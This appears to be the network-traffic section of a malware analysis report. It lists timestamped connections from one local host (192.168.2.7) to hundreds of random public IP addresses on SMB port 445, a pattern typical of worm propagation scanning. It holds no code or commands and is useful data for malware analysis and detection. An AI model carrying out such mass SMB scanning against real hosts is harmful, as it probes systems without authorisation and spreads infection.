Jul 20, 2022 19:33:21.292355061 CEST	57095	445	192.168.2.7	63.97.124.103
Jul 20, 2022 19:33:21.292538881 CEST	57097	445	192.168.2.7	209.60.212.28
Jul 20, 2022 19:33:21.293417931 CEST	57118	445	192.168.2.7	105.239.143.187
Jul 20, 2022 19:33:21.293826103 CEST	57126	445	192.168.2.7	148.210.24.228
Jul 20, 2022 19:33:21.294146061 CEST	57131	445	192.168.2.7	87.81.47.180
Jul 20, 2022 19:33:21.294255972 CEST	57132	445	192.168.2.7	105.98.120.5
Jul 20, 2022 19:33:21.294509888 CEST	57136	445	192.168.2.7	74.175.114.27
Jul 20, 2022 19:33:21.294631958 CEST	57137	445	192.168.2.7	10.87.89.248
Jul 20, 2022 19:33:21.294743061 CEST	57138	445	192.168.2.7	177.148.233.246
Jul 20, 2022 19:33:21.294898033 CEST	57140	445	192.168.2.7	193.219.187.173
Jul 20, 2022 19:33:21.295068026 CEST	57142	445	192.168.2.7	161.107.117.190
Jul 20, 2022 19:33:21.295223951 CEST	57144	445	192.168.2.7	135.77.108.63
Jul 20, 2022 19:33:21.295382023 CEST	57146	445	192.168.2.7	206.216.95.163
Jul 20, 2022 19:33:21.295772076 CEST	57153	445	192.168.2.7	205.164.197.138
Jul 20, 2022 19:33:21.295948029 CEST	57155	445	192.168.2.7	167.154.245.198
Jul 20, 2022 19:33:21.336740017 CEST	57157	445	192.168.2.7	45.60.207.17
Jul 20, 2022 19:33:21.337559938 CEST	57158	445	192.168.2.7	213.142.151.96
Jul 20, 2022 19:33:21.353204966 CEST	445	57157	45.60.207.17	192.168.2.7
Jul 20, 2022 19:33:21.353328943 CEST	57157	445	192.168.2.7	45.60.207.17
Jul 20, 2022 19:33:21.353532076 CEST	57157	445	192.168.2.7	45.60.207.17
Jul 20, 2022 19:33:21.357569933 CEST	57159	445	192.168.2.7	45.60.207.17
Jul 20, 2022 19:33:21.373997927 CEST	445	57159	45.60.207.17	192.168.2.7
Jul 20, 2022 19:33:21.374138117 CEST	57159	445	192.168.2.7	45.60.207.17
Jul 20, 2022 19:33:21.374340057 CEST	57159	445	192.168.2.7	45.60.207.17
Jul 20, 2022 19:33:21.378892899 CEST	445	57157	45.60.207.17	192.168.2.7
Jul 20, 2022 19:33:21.378983974 CEST	57157	445	192.168.2.7	45.60.207.17
Jul 20, 2022 19:33:21.389307022 CEST	445	57158	213.142.151.96	192.168.2.7
Jul 20, 2022 19:33:21.389413118 CEST	57158	445	192.168.2.7	213.142.151.96
Jul 20, 2022 19:33:21.389602900 CEST	57158	445	192.168.2.7	213.142.151.96
Jul 20, 2022 19:33:21.390657902 CEST	445	57159	45.60.207.17	192.168.2.7
Jul 20, 2022 19:33:21.390683889 CEST	445	57159	45.60.207.17	192.168.2.7
Jul 20, 2022 19:33:21.390827894 CEST	445	57159	45.60.207.17	192.168.2.7
Jul 20, 2022 19:33:21.390858889 CEST	57159	445	192.168.2.7	45.60.207.17
Jul 20, 2022 19:33:21.390902042 CEST	57159	445	192.168.2.7	45.60.207.17
Jul 20, 2022 19:33:21.391256094 CEST	57159	445	192.168.2.7	45.60.207.17
Jul 20, 2022 19:33:21.394107103 CEST	57160	445	192.168.2.7	213.142.151.96
Jul 20, 2022 19:33:21.407322884 CEST	445	57159	45.60.207.17	192.168.2.7
Jul 20, 2022 19:33:21.407720089 CEST	445	57159	45.60.207.17	192.168.2.7
Jul 20, 2022 19:33:21.441304922 CEST	445	57158	213.142.151.96	192.168.2.7
Jul 20, 2022 19:33:21.441337109 CEST	445	57158	213.142.151.96	192.168.2.7
Jul 20, 2022 19:33:21.441734076 CEST	445	57070	131.153.221.65	192.168.2.7
Jul 20, 2022 19:33:21.446281910 CEST	445	57160	213.142.151.96	192.168.2.7
Jul 20, 2022 19:33:21.446469069 CEST	57160	445	192.168.2.7	213.142.151.96
Jul 20, 2022 19:33:21.446655035 CEST	57160	445	192.168.2.7	213.142.151.96
Jul 20, 2022 19:33:21.498788118 CEST	445	57160	213.142.151.96	192.168.2.7
Jul 20, 2022 19:33:21.577452898 CEST	57069	445	192.168.2.7	51.158.189.87
Jul 20, 2022 19:33:21.600763083 CEST	445	57069	51.158.189.87	192.168.2.7
Jul 20, 2022 19:33:21.952430010 CEST	57070	445	192.168.2.7	131.153.221.65
Jul 20, 2022 19:33:22.063338995 CEST	57161	445	192.168.2.7	51.158.189.88
Jul 20, 2022 19:33:22.110668898 CEST	445	57070	131.153.221.65	192.168.2.7
Jul 20, 2022 19:33:22.360210896 CEST	57163	445	192.168.2.7	121.3.139.32
Jul 20, 2022 19:33:22.373051882 CEST	57164	445	192.168.2.7	131.153.221.66
Jul 20, 2022 19:33:22.439599991 CEST	57178	445	192.168.2.7	162.210.43.149
Jul 20, 2022 19:33:22.440901995 CEST	57179	445	192.168.2.7	95.219.172.229
Jul 20, 2022 19:33:22.441461086 CEST	57182	445	192.168.2.7	111.65.210.142
Jul 20, 2022 19:33:22.441720009 CEST	57183	445	192.168.2.7	72.202.118.18
Jul 20, 2022 19:33:22.441801071 CEST	57184	445	192.168.2.7	75.209.40.144
Jul 20, 2022 19:33:22.441997051 CEST	57186	445	192.168.2.7	217.79.33.250
Jul 20, 2022 19:33:22.442281008 CEST	57187	445	192.168.2.7	148.214.100.182
Jul 20, 2022 19:33:22.442356110 CEST	57188	445	192.168.2.7	178.49.39.163
Jul 20, 2022 19:33:22.442655087 CEST	57190	445	192.168.2.7	70.126.136.16
Jul 20, 2022 19:33:22.442946911 CEST	57194	445	192.168.2.7	108.178.39.227
Jul 20, 2022 19:33:22.443155050 CEST	57195	445	192.168.2.7	57.89.54.20
Jul 20, 2022 19:33:22.443311930 CEST	57198	445	192.168.2.7	151.141.200.7
Jul 20, 2022 19:33:22.443470955 CEST	57200	445	192.168.2.7	3.254.69.154
Jul 20, 2022 19:33:22.447055101 CEST	57202	445	192.168.2.7	52.240.47.140
Jul 20, 2022 19:33:22.454240084 CEST	57204	445	192.168.2.7	65.106.228.230
Jul 20, 2022 19:33:22.455074072 CEST	57205	445	192.168.2.7	215.19.132.78
Jul 20, 2022 19:33:22.455770969 CEST	57206	445	192.168.2.7	83.40.82.232
Jul 20, 2022 19:33:22.459048986 CEST	57210	445	192.168.2.7	216.213.237.237
Jul 20, 2022 19:33:22.459753990 CEST	57211	445	192.168.2.7	194.59.116.238
Jul 20, 2022 19:33:22.462944031 CEST	57216	445	192.168.2.7	49.18.201.177
Jul 20, 2022 19:33:22.490374088 CEST	57224	445	192.168.2.7	126.42.13.169
Jul 20, 2022 19:33:22.490736961 CEST	57232	445	192.168.2.7	214.193.199.85
Jul 20, 2022 19:33:22.491010904 CEST	57236	445	192.168.2.7	167.169.178.35
Jul 20, 2022 19:33:22.491189957 CEST	57243	445	192.168.2.7	10.105.168.92
Jul 20, 2022 19:33:22.491272926 CEST	57245	445	192.168.2.7	23.173.168.156
Jul 20, 2022 19:33:22.491364002 CEST	57247	445	192.168.2.7	36.34.57.204
Jul 20, 2022 19:33:22.491477013 CEST	57249	445	192.168.2.7	12.231.0.180
Jul 20, 2022 19:33:22.538409948 CEST	445	57164	131.153.221.66	192.168.2.7
Jul 20, 2022 19:33:23.144707918 CEST	57251	445	192.168.2.7	51.158.189.89
Jul 20, 2022 19:33:23.186999083 CEST	57164	445	192.168.2.7	131.153.221.66
Jul 20, 2022 19:33:23.351660013 CEST	445	57164	131.153.221.66	192.168.2.7
Jul 20, 2022 19:33:23.438087940 CEST	57253	445	192.168.2.7	121.3.139.33
Jul 20, 2022 19:33:23.438122988 CEST	57254	445	192.168.2.7	131.153.221.67
Jul 20, 2022 19:33:23.600003004 CEST	445	57254	131.153.221.67	192.168.2.7
Jul 20, 2022 19:33:23.634047031 CEST	57268	445	192.168.2.7	91.183.130.206
Jul 20, 2022 19:33:23.634111881 CEST	57269	445	192.168.2.7	175.197.0.137
Jul 20, 2022 19:33:23.634251118 CEST	57272	445	192.168.2.7	105.52.124.203
Jul 20, 2022 19:33:23.634386063 CEST	57274	445	192.168.2.7	57.239.14.16
Jul 20, 2022 19:33:23.634403944 CEST	57273	445	192.168.2.7	83.230.37.254
Jul 20, 2022 19:33:23.634519100 CEST	57276	445	192.168.2.7	19.145.144.208
Jul 20, 2022 19:33:23.634625912 CEST	57278	445	192.168.2.7	125.64.15.218
Jul 20, 2022 19:33:23.634795904 CEST	57277	445	192.168.2.7	215.79.48.100
Jul 20, 2022 19:33:23.634919882 CEST	57280	445	192.168.2.7	32.4.217.206
Jul 20, 2022 19:33:23.635101080 CEST	57284	445	192.168.2.7	73.145.106.0
Jul 20, 2022 19:33:23.635164976 CEST	57286	445	192.168.2.7	155.183.104.202
Jul 20, 2022 19:33:23.635824919 CEST	57289	445	192.168.2.7	151.217.167.142
Jul 20, 2022 19:33:23.635870934 CEST	57288	445	192.168.2.7	192.80.67.145
Jul 20, 2022 19:33:23.635987043 CEST	57291	445	192.168.2.7	212.25.82.134
Jul 20, 2022 19:33:23.636123896 CEST	57294	445	192.168.2.7	34.223.235.50
Jul 20, 2022 19:33:23.636200905 CEST	57295	445	192.168.2.7	33.184.23.192
Jul 20, 2022 19:33:23.636333942 CEST	57299	445	192.168.2.7	204.166.240.36
Jul 20, 2022 19:33:23.636369944 CEST	57300	445	192.168.2.7	125.97.76.203
Jul 20, 2022 19:33:23.636502028 CEST	57301	445	192.168.2.7	134.15.13.172
Jul 20, 2022 19:33:23.636645079 CEST	57306	445	192.168.2.7	172.181.59.78
Jul 20, 2022 19:33:23.650619984 CEST	57316	445	192.168.2.7	71.31.37.132
Jul 20, 2022 19:33:23.650899887 CEST	57322	445	192.168.2.7	197.166.132.132
Jul 20, 2022 19:33:23.651144981 CEST	57328	445	192.168.2.7	184.179.178.76
Jul 20, 2022 19:33:23.651581049 CEST	57334	445	192.168.2.7	62.226.177.250
Jul 20, 2022 19:33:23.651680946 CEST	57335	445	192.168.2.7	96.231.235.63
Jul 20, 2022 19:33:23.651865959 CEST	57338	445	192.168.2.7	145.74.19.193
Jul 20, 2022 19:33:23.651967049 CEST	57339	445	192.168.2.7	151.240.108.123
Jul 20, 2022 19:33:24.155756950 CEST	57254	445	192.168.2.7	131.153.221.67
Jul 20, 2022 19:33:24.218985081 CEST	57341	445	192.168.2.7	51.158.189.90
Jul 20, 2022 19:33:24.316314936 CEST	445	57254	131.153.221.67	192.168.2.7
Jul 20, 2022 19:33:24.406553030 CEST	57343	445	192.168.2.7	45.60.207.17
Jul 20, 2022 19:33:24.424644947 CEST	445	57343	45.60.207.17	192.168.2.7
Jul 20, 2022 19:33:24.424813032 CEST	57343	445	192.168.2.7	45.60.207.17
Jul 20, 2022 19:33:24.424942970 CEST	57343	445	192.168.2.7	45.60.207.17
Jul 20, 2022 19:33:24.442101002 CEST	445	57343	45.60.207.17	192.168.2.7
Jul 20, 2022 19:33:24.442218065 CEST	445	57343	45.60.207.17	192.168.2.7
Jul 20, 2022 19:33:24.442240000 CEST	445	57343	45.60.207.17	192.168.2.7
Jul 20, 2022 19:33:24.442353964 CEST	57343	445	192.168.2.7	45.60.207.17
Jul 20, 2022 19:33:24.442384958 CEST	57343	445	192.168.2.7	45.60.207.17
Jul 20, 2022 19:33:24.442640066 CEST	57343	445	192.168.2.7	45.60.207.17
Jul 20, 2022 19:33:24.460720062 CEST	445	57343	45.60.207.17	192.168.2.7
Jul 20, 2022 19:33:24.460743904 CEST	445	57343	45.60.207.17	192.168.2.7
Jul 20, 2022 19:33:24.500339031 CEST	57344	445	192.168.2.7	213.142.151.96
Jul 20, 2022 19:33:24.506784916 CEST	57345	445	192.168.2.7	45.60.207.18
Jul 20, 2022 19:33:24.515985012 CEST	57346	445	192.168.2.7	131.153.221.68
Jul 20, 2022 19:33:24.517805099 CEST	57347	445	192.168.2.7	121.3.139.34
Jul 20, 2022 19:33:24.525558949 CEST	445	57345	45.60.207.18	192.168.2.7
Jul 20, 2022 19:33:24.525744915 CEST	57345	445	192.168.2.7	45.60.207.18
Jul 20, 2022 19:33:24.525922060 CEST	57345	445	192.168.2.7	45.60.207.18
Jul 20, 2022 19:33:24.542406082 CEST	57348	445	192.168.2.7	45.60.207.18
Jul 20, 2022 19:33:24.543016911 CEST	445	57345	45.60.207.18	192.168.2.7
Jul 20, 2022 19:33:24.543167114 CEST	57345	445	192.168.2.7	45.60.207.18
Jul 20, 2022 19:33:24.556637049 CEST	445	57344	213.142.151.96	192.168.2.7
Jul 20, 2022 19:33:24.556982040 CEST	57344	445	192.168.2.7	213.142.151.96
Jul 20, 2022 19:33:24.563222885 CEST	445	57348	45.60.207.18	192.168.2.7
Jul 20, 2022 19:33:24.563457966 CEST	57348	445	192.168.2.7	45.60.207.18
Jul 20, 2022 19:33:24.566591024 CEST	57344	445	192.168.2.7	213.142.151.96
Jul 20, 2022 19:33:24.567513943 CEST	57348	445	192.168.2.7	45.60.207.18
Jul 20, 2022 19:33:24.587513924 CEST	445	57348	45.60.207.18	192.168.2.7
Jul 20, 2022 19:33:24.587553024 CEST	445	57348	45.60.207.18	192.168.2.7
Jul 20, 2022 19:33:24.587573051 CEST	445	57348	45.60.207.18	192.168.2.7
Jul 20, 2022 19:33:24.587671995 CEST	57348	445	192.168.2.7	45.60.207.18
Jul 20, 2022 19:33:24.587766886 CEST	57348	445	192.168.2.7	45.60.207.18
Jul 20, 2022 19:33:24.588087082 CEST	57348	445	192.168.2.7	45.60.207.18
Jul 20, 2022 19:33:24.607640982 CEST	445	57348	45.60.207.18	192.168.2.7
Jul 20, 2022 19:33:24.607697010 CEST	445	57348	45.60.207.18	192.168.2.7
Jul 20, 2022 19:33:24.626756907 CEST	445	57344	213.142.151.96	192.168.2.7
Jul 20, 2022 19:33:24.677149057 CEST	445	57346	131.153.221.68	192.168.2.7
Jul 20, 2022 19:33:24.688530922 CEST	57358	445	192.168.2.7	213.142.151.97
Jul 20, 2022 19:33:24.746660948 CEST	445	57358	213.142.151.97	192.168.2.7
Jul 20, 2022 19:33:24.746773005 CEST	57358	445	192.168.2.7	213.142.151.97
Jul 20, 2022 19:33:24.746819973 CEST	57358	445	192.168.2.7	213.142.151.97
Jul 20, 2022 19:33:24.768134117 CEST	57363	445	192.168.2.7	14.129.184.199
Jul 20, 2022 19:33:24.768224955 CEST	57364	445	192.168.2.7	80.0.231.196
Jul 20, 2022 19:33:24.768443108 CEST	57367	445	192.168.2.7	90.97.242.98
Jul 20, 2022 19:33:24.768533945 CEST	57368	445	192.168.2.7	69.47.57.10
Jul 20, 2022 19:33:24.768671989 CEST	57369	445	192.168.2.7	223.73.16.81
Jul 20, 2022 19:33:24.768713951 CEST	57370	445	192.168.2.7	184.210.61.99
Jul 20, 2022 19:33:24.768827915 CEST	57372	445	192.168.2.7	37.41.82.168
Jul 20, 2022 19:33:24.768942118 CEST	57373	445	192.168.2.7	52.131.108.165
Jul 20, 2022 19:33:24.769069910 CEST	57376	445	192.168.2.7	89.107.211.141
Jul 20, 2022 19:33:24.769181967 CEST	57378	445	192.168.2.7	221.235.181.239
Jul 20, 2022 19:33:24.769321918 CEST	57381	445	192.168.2.7	191.162.67.18
Jul 20, 2022 19:33:24.769428015 CEST	57383	445	192.168.2.7	89.188.14.88
Jul 20, 2022 19:33:24.773668051 CEST	57384	445	192.168.2.7	213.142.151.97
Jul 20, 2022 19:33:24.781502962 CEST	57385	445	192.168.2.7	152.86.179.67
Jul 20, 2022 19:33:24.782608986 CEST	57387	445	192.168.2.7	98.96.113.174
Jul 20, 2022 19:33:24.784040928 CEST	57390	445	192.168.2.7	82.214.46.51
Jul 20, 2022 19:33:24.784554005 CEST	57391	445	192.168.2.7	47.211.6.158
Jul 20, 2022 19:33:24.786416054 CEST	57395	445	192.168.2.7	25.58.155.116
Jul 20, 2022 19:33:24.786951065 CEST	57396	445	192.168.2.7	51.98.17.238
Jul 20, 2022 19:33:24.787470102 CEST	57397	445	192.168.2.7	59.205.47.82
Jul 20, 2022 19:33:24.789942980 CEST	57401	445	192.168.2.7	93.159.116.155
Jul 20, 2022 19:33:24.805922985 CEST	445	57358	213.142.151.97	192.168.2.7
Jul 20, 2022 19:33:24.805958033 CEST	445	57358	213.142.151.97	192.168.2.7
Jul 20, 2022 19:33:24.814539909 CEST	57412	445	192.168.2.7	147.25.242.222
Jul 20, 2022 19:33:24.817317009 CEST	57417	445	192.168.2.7	54.134.139.75
Jul 20, 2022 19:33:24.817564011 CEST	57424	445	192.168.2.7	105.225.144.70
Jul 20, 2022 19:33:24.817781925 CEST	57429	445	192.168.2.7	81.100.48.227
Jul 20, 2022 19:33:24.817883015 CEST	57431	445	192.168.2.7	152.166.45.28
Jul 20, 2022 19:33:24.818012953 CEST	57434	445	192.168.2.7	112.184.4.80
Jul 20, 2022 19:33:24.818119049 CEST	57435	445	192.168.2.7	78.253.213.184
Jul 20, 2022 19:33:24.828610897 CEST	445	57384	213.142.151.97	192.168.2.7
Jul 20, 2022 19:33:24.828747034 CEST	57384	445	192.168.2.7	213.142.151.97
Jul 20, 2022 19:33:24.828953028 CEST	57384	445	192.168.2.7	213.142.151.97
Jul 20, 2022 19:33:24.883224010 CEST	445	57384	213.142.151.97	192.168.2.7
Jul 20, 2022 19:33:25.297157049 CEST	57438	445	192.168.2.7	51.158.189.91
Jul 20, 2022 19:33:25.343652964 CEST	57346	445	192.168.2.7	131.153.221.68
Jul 20, 2022 19:33:25.501733065 CEST	445	57346	131.153.221.68	192.168.2.7
Jul 20, 2022 19:33:25.594208956 CEST	57440	445	192.168.2.7	121.3.139.35
Jul 20, 2022 19:33:25.594949961 CEST	57441	445	192.168.2.7	131.153.221.69
Jul 20, 2022 19:33:25.759665012 CEST	445	57441	131.153.221.69	192.168.2.7
Jul 20, 2022 19:33:25.894998074 CEST	57451	445	192.168.2.7	115.54.174.95
Jul 20, 2022 19:33:25.918256998 CEST	57456	445	192.168.2.7	28.211.196.66
Jul 20, 2022 19:33:25.918260098 CEST	57457	445	192.168.2.7	160.19.80.166
Jul 20, 2022 19:33:25.918363094 CEST	57460	445	192.168.2.7	65.43.102.252
Jul 20, 2022 19:33:25.918375969 CEST	57461	445	192.168.2.7	73.252.6.44
Jul 20, 2022 19:33:25.918426037 CEST	57462	445	192.168.2.7	174.155.129.126
Jul 20, 2022 19:33:25.918562889 CEST	57465	445	192.168.2.7	3.3.36.252
Jul 20, 2022 19:33:25.918581963 CEST	57464	445	192.168.2.7	63.168.83.114
Jul 20, 2022 19:33:25.918732882 CEST	57468	445	192.168.2.7	57.219.149.94
Jul 20, 2022 19:33:25.918783903 CEST	57470	445	192.168.2.7	144.77.56.170
Jul 20, 2022 19:33:25.918876886 CEST	57473	445	192.168.2.7	32.139.76.128
Jul 20, 2022 19:33:25.918970108 CEST	57475	445	192.168.2.7	157.224.76.118
Jul 20, 2022 19:33:25.926956892 CEST	57484	445	192.168.2.7	203.178.160.130
Jul 20, 2022 19:33:25.927113056 CEST	57488	445	192.168.2.7	138.149.92.66
Jul 20, 2022 19:33:25.927223921 CEST	57489	445	192.168.2.7	129.102.173.133
Jul 20, 2022 19:33:25.927288055 CEST	57490	445	192.168.2.7	182.205.68.102
Jul 20, 2022 19:33:25.927433968 CEST	57494	445	192.168.2.7	201.90.11.134
Jul 20, 2022 19:33:25.927515030 CEST	57495	445	192.168.2.7	181.176.146.14
Jul 20, 2022 19:33:25.927642107 CEST	57498	445	192.168.2.7	155.21.135.124
Jul 20, 2022 19:33:25.927735090 CEST	57500	445	192.168.2.7	211.123.244.252
Jul 20, 2022 19:33:25.939181089 CEST	57503	445	192.168.2.7	85.15.95.244
Jul 20, 2022 19:33:25.939714909 CEST	57504	445	192.168.2.7	202.201.10.168
Jul 20, 2022 19:33:25.941709995 CEST	57508	445	192.168.2.7	27.80.17.192
Jul 20, 2022 19:33:25.942341089 CEST	57509	445	192.168.2.7	122.221.85.250
Jul 20, 2022 19:33:25.944633007 CEST	57514	445	192.168.2.7	186.168.39.55
Jul 20, 2022 19:33:25.947885990 CEST	57521	445	192.168.2.7	16.235.223.65
Jul 20, 2022 19:33:25.949727058 CEST	57525	445	192.168.2.7	55.214.176.42
Jul 20, 2022 19:33:26.246767044 CEST	445	57509	122.221.85.250	192.168.2.7
Jul 20, 2022 19:33:26.343511105 CEST	57441	445	192.168.2.7	131.153.221.69
Jul 20, 2022 19:33:26.375463963 CEST	57529	445	192.168.2.7	51.158.189.92
Jul 20, 2022 19:33:26.508265972 CEST	445	57441	131.153.221.69	192.168.2.7
Jul 20, 2022 19:33:26.695967913 CEST	57531	445	192.168.2.7	121.3.139.36
Jul 20, 2022 19:33:26.696595907 CEST	57532	445	192.168.2.7	131.153.221.70
Jul 20, 2022 19:33:26.848452091 CEST	57509	445	192.168.2.7	122.221.85.250
Jul 20, 2022 19:33:26.861947060 CEST	445	57532	131.153.221.70	192.168.2.7
Jul 20, 2022 19:33:27.028681040 CEST	57542	445	192.168.2.7	78.188.39.173
Jul 20, 2022 19:33:27.052587032 CEST	57544	445	192.168.2.7	167.213.122.88
Jul 20, 2022 19:33:27.053210020 CEST	57545	445	192.168.2.7	202.158.42.192
Jul 20, 2022 19:33:27.053565979 CEST	57548	445	192.168.2.7	47.175.244.197
Jul 20, 2022 19:33:27.053739071 CEST	57549	445	192.168.2.7	6.11.43.123
Jul 20, 2022 19:33:27.054858923 CEST	57554	445	192.168.2.7	180.24.110.167
Jul 20, 2022 19:33:27.055037022 CEST	57557	445	192.168.2.7	218.114.252.191
Jul 20, 2022 19:33:27.055155993 CEST	57558	445	192.168.2.7	215.217.146.169
Jul 20, 2022 19:33:27.055315971 CEST	57560	445	192.168.2.7	57.140.167.48
Jul 20, 2022 19:33:27.077085972 CEST	57564	445	192.168.2.7	108.43.218.151
Jul 20, 2022 19:33:27.077167988 CEST	57565	445	192.168.2.7	55.162.205.187
Jul 20, 2022 19:33:27.086607933 CEST	57566	445	192.168.2.7	197.154.85.250
Jul 20, 2022 19:33:27.146636963 CEST	57569	445	192.168.2.7	78.225.35.88
Jul 20, 2022 19:33:27.146819115 CEST	57571	445	192.168.2.7	177.169.231.149
Jul 20, 2022 19:33:27.146954060 CEST	57574	445	192.168.2.7	27.111.223.160
Jul 20, 2022 19:33:27.147125006 CEST	57576	445	192.168.2.7	206.233.4.74
Jul 20, 2022 19:33:27.147337914 CEST	57579	445	192.168.2.7	59.239.117.130
Jul 20, 2022 19:33:27.147463083 CEST	57580	445	192.168.2.7	39.232.148.230
Jul 20, 2022 19:33:27.147552013 CEST	57581	445	192.168.2.7	70.139.30.196
Jul 20, 2022 19:33:27.147743940 CEST	57585	445	192.168.2.7	102.84.149.192
Jul 20, 2022 19:33:27.153184891 CEST	445	57509	122.221.85.250	192.168.2.7
Jul 20, 2022 19:33:27.153547049 CEST	57599	445	192.168.2.7	56.113.222.122
Jul 20, 2022 19:33:27.153772116 CEST	57604	445	192.168.2.7	67.242.225.20
Jul 20, 2022 19:33:27.153853893 CEST	57605	445	192.168.2.7	163.159.154.111
Jul 20, 2022 19:33:27.154069901 CEST	57609	445	192.168.2.7	7.158.131.193
Jul 20, 2022 19:33:27.154170036 CEST	57610	445	192.168.2.7	17.80.220.94
Jul 20, 2022 19:33:27.154300928 CEST	57612	445	192.168.2.7	39.77.220.174
Jul 20, 2022 19:33:27.154525042 CEST	57616	445	192.168.2.7	153.56.216.177
Jul 20, 2022 19:33:27.373055935 CEST	57532	445	192.168.2.7	131.153.221.70
Jul 20, 2022 19:33:27.467869043 CEST	57620	445	192.168.2.7	51.158.189.93
Jul 20, 2022 19:33:27.537924051 CEST	445	57532	131.153.221.70	192.168.2.7
Jul 20, 2022 19:33:27.594284058 CEST	57622	445	192.168.2.7	45.60.207.18
Jul 20, 2022 19:33:27.611030102 CEST	445	57622	45.60.207.18	192.168.2.7
Jul 20, 2022 19:33:27.611167908 CEST	57622	445	192.168.2.7	45.60.207.18
Jul 20, 2022 19:33:27.612652063 CEST	57622	445	192.168.2.7	45.60.207.18
Jul 20, 2022 19:33:27.629209042 CEST	445	57622	45.60.207.18	192.168.2.7
Jul 20, 2022 19:33:27.629240990 CEST	445	57622	45.60.207.18	192.168.2.7
Jul 20, 2022 19:33:27.629362106 CEST	445	57622	45.60.207.18	192.168.2.7
Jul 20, 2022 19:33:27.629466057 CEST	57622	445	192.168.2.7	45.60.207.18
Jul 20, 2022 19:33:27.629620075 CEST	57622	445	192.168.2.7	45.60.207.18
Jul 20, 2022 19:33:27.629944086 CEST	57622	445	192.168.2.7	45.60.207.18
Jul 20, 2022 19:33:27.646058083 CEST	445	57622	45.60.207.18	192.168.2.7
Jul 20, 2022 19:33:27.646428108 CEST	445	57622	45.60.207.18	192.168.2.7
Jul 20, 2022 19:33:27.689696074 CEST	57623	445	192.168.2.7	45.60.207.19
Jul 20, 2022 19:33:27.706501007 CEST	445	57623	45.60.207.19	192.168.2.7
Jul 20, 2022 19:33:27.706634998 CEST	57623	445	192.168.2.7	45.60.207.19
Jul 20, 2022 19:33:27.706825018 CEST	57623	445	192.168.2.7	45.60.207.19
Jul 20, 2022 19:33:27.709465027 CEST	57625	445	192.168.2.7	45.60.207.19
Jul 20, 2022 19:33:27.723573923 CEST	445	57623	45.60.207.19	192.168.2.7
Jul 20, 2022 19:33:27.723732948 CEST	57623	445	192.168.2.7	45.60.207.19
Jul 20, 2022 19:33:27.726072073 CEST	445	57625	45.60.207.19	192.168.2.7
Jul 20, 2022 19:33:27.726195097 CEST	57625	445	192.168.2.7	45.60.207.19
Jul 20, 2022 19:33:27.726321936 CEST	57625	445	192.168.2.7	45.60.207.19
Jul 20, 2022 19:33:27.742886066 CEST	445	57625	45.60.207.19	192.168.2.7
Jul 20, 2022 19:33:27.742908955 CEST	445	57625	45.60.207.19	192.168.2.7
Jul 20, 2022 19:33:27.742923975 CEST	445	57625	45.60.207.19	192.168.2.7
Jul 20, 2022 19:33:27.742995977 CEST	57625	445	192.168.2.7	45.60.207.19
Jul 20, 2022 19:33:27.743083954 CEST	57625	445	192.168.2.7	45.60.207.19
Jul 20, 2022 19:33:27.743329048 CEST	57625	445	192.168.2.7	45.60.207.19
Jul 20, 2022 19:33:27.759737015 CEST	445	57625	45.60.207.19	192.168.2.7
Jul 20, 2022 19:33:27.759777069 CEST	445	57625	45.60.207.19	192.168.2.7
Jul 20, 2022 19:33:27.775831938 CEST	57626	445	192.168.2.7	131.153.221.71
Jul 20, 2022 19:33:27.776642084 CEST	57627	445	192.168.2.7	121.3.139.37
Jul 20, 2022 19:33:27.893174887 CEST	57628	445	192.168.2.7	213.142.151.97
Jul 20, 2022 19:33:27.951841116 CEST	445	57628	213.142.151.97	192.168.2.7
Jul 20, 2022 19:33:27.952044010 CEST	57628	445	192.168.2.7	213.142.151.97
Jul 20, 2022 19:33:27.954749107 CEST	57628	445	192.168.2.7	213.142.151.97
Jul 20, 2022 19:33:28.012489080 CEST	445	57628	213.142.151.97	192.168.2.7
Jul 20, 2022 19:33:28.078607082 CEST	57629	445	192.168.2.7	213.142.151.98
Jul 20, 2022 19:33:28.132071972 CEST	57639	445	192.168.2.7	161.146.38.58
Jul 20, 2022 19:33:28.137775898 CEST	445	57629	213.142.151.98	192.168.2.7
Jul 20, 2022 19:33:28.137881041 CEST	57629	445	192.168.2.7	213.142.151.98
Jul 20, 2022 19:33:28.138037920 CEST	57629	445	192.168.2.7	213.142.151.98
Jul 20, 2022 19:33:28.139964104 CEST	57640	445	192.168.2.7	213.142.151.98
Jul 20, 2022 19:33:28.194127083 CEST	445	57629	213.142.151.98	192.168.2.7
Jul 20, 2022 19:33:28.198703051 CEST	445	57629	213.142.151.98	192.168.2.7
Jul 20, 2022 19:33:28.199480057 CEST	445	57640	213.142.151.98	192.168.2.7
Jul 20, 2022 19:33:28.199618101 CEST	57640	445	192.168.2.7	213.142.151.98
Jul 20, 2022 19:33:28.237313986 CEST	57640	445	192.168.2.7	213.142.151.98
Jul 20, 2022 19:33:28.297386885 CEST	445	57640	213.142.151.98	192.168.2.7
Jul 20, 2022 19:33:28.301632881 CEST	57642	445	192.168.2.7	22.114.219.123
Jul 20, 2022 19:33:28.301696062 CEST	57643	445	192.168.2.7	15.88.238.52
Jul 20, 2022 19:33:28.301785946 CEST	57646	445	192.168.2.7	146.98.19.45
Jul 20, 2022 19:33:28.302711964 CEST	57647	445	192.168.2.7	38.88.74.15
Jul 20, 2022 19:33:28.302858114 CEST	57651	445	192.168.2.7	189.37.54.113
Jul 20, 2022 19:33:28.303004980 CEST	57655	445	192.168.2.7	73.17.108.158
Jul 20, 2022 19:33:28.303050995 CEST	57657	445	192.168.2.7	136.30.142.115
Jul 20, 2022 19:33:28.303196907 CEST	57662	445	192.168.2.7	103.151.206.236
Jul 20, 2022 19:33:28.303212881 CEST	57661	445	192.168.2.7	185.38.80.83
Jul 20, 2022 19:33:28.303348064 CEST	57663	445	192.168.2.7	3.245.133.1
Jul 20, 2022 19:33:28.310674906 CEST	57664	445	192.168.2.7	97.163.57.61
Jul 20, 2022 19:33:28.313478947 CEST	57668	445	192.168.2.7	55.39.51.230
Jul 20, 2022 19:33:28.313576937 CEST	57672	445	192.168.2.7	85.183.254.32
Jul 20, 2022 19:33:28.313682079 CEST	57675	445	192.168.2.7	141.159.25.7
Jul 20, 2022 19:33:28.313807964 CEST	57678	445	192.168.2.7	103.62.42.119
Jul 20, 2022 19:33:28.313965082 CEST	57682	445	192.168.2.7	6.142.30.227
Jul 20, 2022 19:33:28.313972950 CEST	57681	445	192.168.2.7	154.6.25.214
Jul 20, 2022 19:33:28.314315081 CEST	57691	445	192.168.2.7	193.242.82.167
Jul 20, 2022 19:33:28.353394985 CEST	57696	445	192.168.2.7	49.10.79.118
Jul 20, 2022 19:33:28.354444027 CEST	57703	445	192.168.2.7	128.184.76.91
